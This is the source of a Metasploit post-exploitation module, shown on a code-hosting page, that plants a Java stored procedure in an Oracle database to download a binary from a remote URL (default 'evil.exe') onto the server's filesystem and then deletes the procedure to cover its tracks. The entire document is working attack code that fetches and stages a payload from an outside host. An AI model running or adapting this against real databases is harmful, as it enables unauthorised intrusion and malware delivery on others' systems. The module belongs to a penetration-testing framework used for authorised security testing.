Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb
Views: 11787
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::ORACLE78def initialize(info = {})9super(update_info(info,10'Name' => 'Oracle URL Download',11'Description' => %q{12This module will create a java class which enables the download13of a binary from a webserver to the oracle filesystem.14},15'Author' => [ 'CG' ],16'License' => MSF_LICENSE,17'References' =>18[19[ 'URL', 'http://www.argeniss.com/research/oraclesqlinj.zip' ],20],21'DisclosureDate' => '2005-02-10'))2223register_options(24[25OptString.new('URL', [ false, 'The URL to download the binary from.', 'http://www.meh.com/evil.exe']),26OptString.new('COPYTO', [ false, 'Location to copy the binary to', 'c:\\meh.exe']),27])28end2930def run31return if not check_dependencies3233java = <<-EOF34CREATE OR REPLACE JAVA SOURCE NAMED SRC_FILE_UPLOAD AS35import java.lang.*;36import java.io.*;37public class FileUpload38{39public static void fileUpload(String myFile, String url) throws IOException40{41File binaryFile = new File(myFile);42FileOutputStream outStream = new FileOutputStream(binaryFile);43java.net.URL u = new java.net.URL(url);44java.net.URLConnection uc = u.openConnection();45InputStream is = (InputStream)uc.getInputStream();46BufferedReader in = new BufferedReader (new InputStreamReader (is));47byte buffer[] = new byte[1024];48int length = -1;49while ((length = is.read(buffer)) != -1) {50outStream.write(buffer, 0, length);51outStream.flush();52}53is.close(); outStream.close();54}55};;56EOF5758procedure = <<-EOF59CREATE OR REPLACE PROCEDURE PROC_FILEUPLOAD (p_file varchar2, p_url varchar2)60as language java61NAME 'FileUpload.fileUpload (java.lang.String, java.lang.String)';62EOF6364exec = "begin PROC_FILEUPLOAD ('#{datastore['COPYTO']}', '#{datastore['URL']}'); end;"6566drops = "drop java source SRC_FILE_UPLOAD"6768dropp = "drop procedure PROC_FILEUPLOAD"6970begin71print_status("Creating java source 'SRC_FILE_UPLOAD'...")72prepare_exec(java)73rescue => e74return75end7677print_status("Creating procedure 'PROC_FILEUPLOAD'...")78prepare_exec(procedure)7980print_status("Trying to download binary from #{datastore['URL']} to #{datastore['COPYTO']}")81prepare_exec(exec)8283print_status("Removing java source 'SRC_FILE_UPLOAD'...")84prepare_exec(drops)8586print_status("Removing procedure 'PROC_FILEUPLOAD'...")87prepare_exec(dropp)8889end90end919293